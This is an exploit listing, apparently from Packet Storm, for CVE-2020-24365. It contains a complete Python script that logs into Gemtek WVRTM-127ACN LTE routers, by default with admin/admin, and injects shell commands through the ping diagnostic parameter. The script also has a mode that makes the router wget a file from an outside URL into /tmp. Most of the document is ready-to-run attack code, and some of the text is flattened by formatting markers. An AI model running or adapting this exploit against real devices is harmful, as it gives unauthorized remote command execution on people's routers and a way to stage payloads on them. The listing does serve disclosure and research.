Gemtek WVRTM-127ACN 01.01.02.141 Command Injection ≈ Packet Storm
TTS
[*]# Exploit Title: Gemtek WVRTM-127ACN 01.01.02.141 - Authenticated Arbitrary Command Injection [*]# Date: 13/09/2020 [*]# Exploit Author: Gabriele Zuddas [*]# Version: 01.01.02.127, 01.01.02.141 [*]# CVE : CVE-2020-24365
Service Provider : Linkem[*]Product Name : LTE CPE[*]Model ID : WVRTM-127ACN[*]Serial ID : GMK170418011089[*]IMEI : XXXXXXXXXXXXX[*]ICCID : XXXXXXXXXXXXXXXXXX[*]Firmware Version : 01.01.02.141[*]Firmware Creation Date : May 15 13:04:30 CST 2019[*]Bootrom Version : U-Boot 1.1.3[*]Bootrom Creation Date : Oct 23 2015 - 16:03:05[*]LTE Support Band : 42,43
Injecting happens here:
sh -c (ping -4 -c 1 -s 4 -W 1 "INJECTION" > /tmp/mon_diag.log 2>&1; cmscfg -s -n mon_diag_status -v 0)&
Exploit has been tested on older verions too:[*]Firmware Version: 01.01.02.127[*]Firmware Creation Date : May 23 15:34:10 CST 2018
"""
import requests, time, argparse, re, sys
class Exploit():
CVE = "CVE-2020-24365"
def __init__(self, args):[*]self.args = args[*]self.session = requests.Session()
def login(self):[*]s = self.session[*]r = s.post(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=login.asp&action=login", data={"user_name":self.args.username,"user_passwd":self.args.password})[*]if "sid" not in s.cookies:[*]print("[!] Login failed.")[*]exit(1)[*]sid = s.cookies["sid"][*]s.headers = {"sid": sid}[*]print(f"[*] Login successful! (sid={sid})")
def now(self):[*]return int(time.time() * 1000)
def exploit(self, command):[*]self.login()
with self.session as s:[*]payload = f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_monitor_diagnostic&mon_diag_type=0&mon_diag_addr=$({command};)&mon_ping_num=1&mon_ping_size=4&mon_ping_timeout=1&mon_tracert_hops=&mon_diag_protocol_type=4&time={self.now()}&_={self.now()}"
r = s.get(payload)[*]r = s.get(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start¬run=1&time={self.now()}&_={self.now()}")[*]content = str(r.content, "utf8")
#Attempt to stop the command as some commands tend to get stuck (if commands stop working check on the web interface)[*]r = s.get(payload)[*]r = s.get(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start¬run=1&time={self.now()}&_={self.now()}")[*]content = str(r.content, "utf8")
#TODO: eventually parse content with regex to clean out the output[*]c = re.findall(r"(?< =ping: bad address ')(.*)(?=')", content)[*]print(content)[*]print(c[0])
if len(c) > 0:[*]return c[0][*]else:[*]return False
def download_file(self, url):[*]filename = url.rsplit('/', 1)[-1]
if self.args.file is not None:[*]print(f"[*] Attempting download of file '{filename}' from {url} ...")
if self.exploit(f"wget {url} -O /tmp/{filename}"):[*]print(f"[*] File saved on {self.args.target}'s /tmp/{filename}.")[*]print(self.exploit(f"du -h /tmp/{filename}"))[*]return True[*]else:[*]print(f"[!] Failed to download {filename} from {url}")[*]return False
def run(self):[*]if self.args.command is not None:[*]print(self.exploit(self.args.command))[*]exit()[*]if self.args.file is not None:[*]self.download_file(self.args.file)[*]exit()
if __name__ == "__main__":[*]# Create the parser and add arguments[*]parser = argparse.ArgumentParser()[*]parser.add_argument("-t", "--target", dest="target", default="192.168.1.1", help="Vulnerable target")[*]parser.add_argument("-u", "--username", dest="username", default="admin", help="Valid username to use")[*]parser.add_argument("-p", "--password", dest="password", default="admin", help="Valid password to use")[*]parser.add_argument("-c", "--command", dest="command", default=None, help="Command to execute")
parser.add_argument("-D", "--download-file", dest="file", default=None, help="Download file on target's /tmp directory")
args = parser.parse_args()
# Run exploit[*]X = Exploit(args)[*]if len(sys.argv) > 1:[*]print(f"[*] Exploiting {X.CVE} ...")[*]X.run()[*]else:[*]parser.print_help(sys.stderr)
Gloss